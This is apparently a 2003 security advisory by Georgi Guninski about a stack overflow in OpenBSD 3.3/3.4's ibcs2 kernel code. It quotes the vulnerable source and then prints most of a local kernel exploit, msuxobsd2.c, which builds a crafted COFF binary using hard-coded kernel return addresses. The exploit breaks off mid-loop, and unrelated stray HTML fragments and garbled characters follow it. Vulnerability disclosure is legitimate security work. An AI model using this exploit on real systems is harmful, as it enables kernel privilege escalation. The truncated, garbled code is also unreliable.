guninski@guninski.com Georgi Guninski security advisory #64, 2003 OpenBSD kernel overflow, yet still *BSD much better than windows Liu disclosed 13 explorer bugs on one day and now needs a computer of his own. Please donate at: http://clik.to/donatepc "The less that you give, you're a taker" -- Black Sabbath, http://www.lyricsfreak.com/b/black-sabbath/19364.html Systems affected: tested on OpenBSD 3.3 and 3.4, probably other versions also affected Risk: Medium Date: 17 November 2003 Legal Notice: This Advisory is Copyright (c) 2003 Georgi Guninski. You may distribute it unmodified. You may not modify it and distribute it or distribute parts of it without the author's written permission - this especially applies to so called "vulnerabilities databases" and securityfocus, microsoft, cert and mitre. If you want to link to this content use the URL: http://www.guninski.com/msuxobsd2.html Anything in this document may change without notice. Disclaimer: The information in this advisory is believed to be true though it may be false. The opinions expressed in this advisory and program are my own and not of any company. The usual standard disclaimer applies, especially the fact that Georgi Guninski is not liable for any damages caused by direct or indirect use of the information or functionality provided by this advisory or program. Georgi Guninski bears no responsibility for content or misuse of this advisory or program or any derivatives thereof. Description: There is a stack based kernel overflow in OpenBSD 3.3,3.4 probably earlier in ibcs2 code. Exploit code is available for 3.3. On 3.4 the kernel is paniced with smashed stack, ease of exploitation is currently unknown. Details: The problem is in: "ibcs2_exec.c" line 427 of 738 char buf[128], *bufp; int len = sh.s_size, path_index, entry_len; error = vn_rdwr(UIO_READ, epp->ep_vp, (caddr_t) buf, len, sh.s_scnptr, UIO_SYSSPACE, IO_NODELOCKED, p->p_ucred, &resid, p); len is taken from the binary and is used for copying in stack based buffer which is wrong. Oh, I forgot. Please help Liu! Liu disclosed 13 explorer bugs on one day and now needs a computer of his own. Please donate at: http://clik.to/donatepc "The less that you give, you're a taker" -- Black Sabbath, http://www.lyricsfreak.com/b/black-sabbath/19364.html -msuxobsd2.c-------------------------------------------------- /* Legal Notice: This Advisory is Copyright (c) 2003 Georgi Guninski. This program cannot be used in "vulnerabilities databases" and securityfocus, microsoft, cert and mitre. If you want to link to this content use the URL: http://www.guninski.com/msuxobsd2.html Anything in this document may change without notice. Disclaimer: The information in this advisory is believed to be true though it may be false. The opinions expressed in this advisory and program are my own and not of any company. The usual standard disclaimer applies, especially the fact that Georgi Guninski is not liable for any damages caused by direct or indirect use of the information or functionality provided by this advisory or program. Georgi Guninski bears no responsibility for content or misuse of this advisory or program or any derivatives thereof. */ #include #include #include #include #include #include #include #include #include #include #include #include "/usr/src/sys/compat/ibcs2/ibcs2_exec.h" // some code taken from noir article from phrack 60 void get_proc(pid_t pid, struct kinfo_proc *kp) { u_int arr[4], len; arr[0] = CTL_KERN; arr[1] = KERN_PROC; arr[2] = KERN_PROC_PID; arr[3] = pid; len = sizeof(struct kinfo_proc); if(sysctl(arr, 4, kp, &len, NULL, 0) < 0) { perror("sysctl"); fprintf(stderr, "this is an unexpected error, rerun!\n"); exit(-1); } } int msux() { int fd; struct coff_filehdr cf; struct coff_aouthdr ca; struct coff_scnhdr s1,s2,s3; int exe[512]; char fil[]="/tmp/vvc"; int v; unsigned int initpid=0xe7610000; unsigned int reta=0xe770fc8c;//0xe770bc68; //0xe7719c64;//0xe770bc64; struct kinfo_proc kp; long ppid,mypid; int p,st; get_proc((pid_t) getppid(), &kp); ppid=(u_long) kp.kp_eproc.e_paddr; get_proc((pid_t) getpid(), &kp); mypid=(u_long) kp.kp_eproc.e_paddr; // address of kernel's p_comm for 3.3 reta=0x10f+(u_long) kp.kp_eproc.e_paddr; printf("ppid=%x mypid=%x %reta=%x\n",ppid,mypid,reta); fd=open(fil,O_CREAT|O_RDWR,0700); if (fd==-1) {perror("open");return 1;} memset(&cf,0,sizeof(cf)); memset(&ca,0,sizeof(ca)); memset(&s1,0,sizeof(s1)); memset(&s2,0,sizeof(s2)); memset(&s3,0,sizeof(s3)); //memset(exe,0xe7,sizeof(exe)); for(v=0;v
<span id="7ztzv"></span>
<sub id="7ztzv"></sub>


<span id="7ztzv"></span><form id="7ztzv"></form>


<span id="7ztzv"></span>
    

      

        <address id="7ztzv"></address>
            

ÑÇÖÞÅ·ÃÀÔÚÏß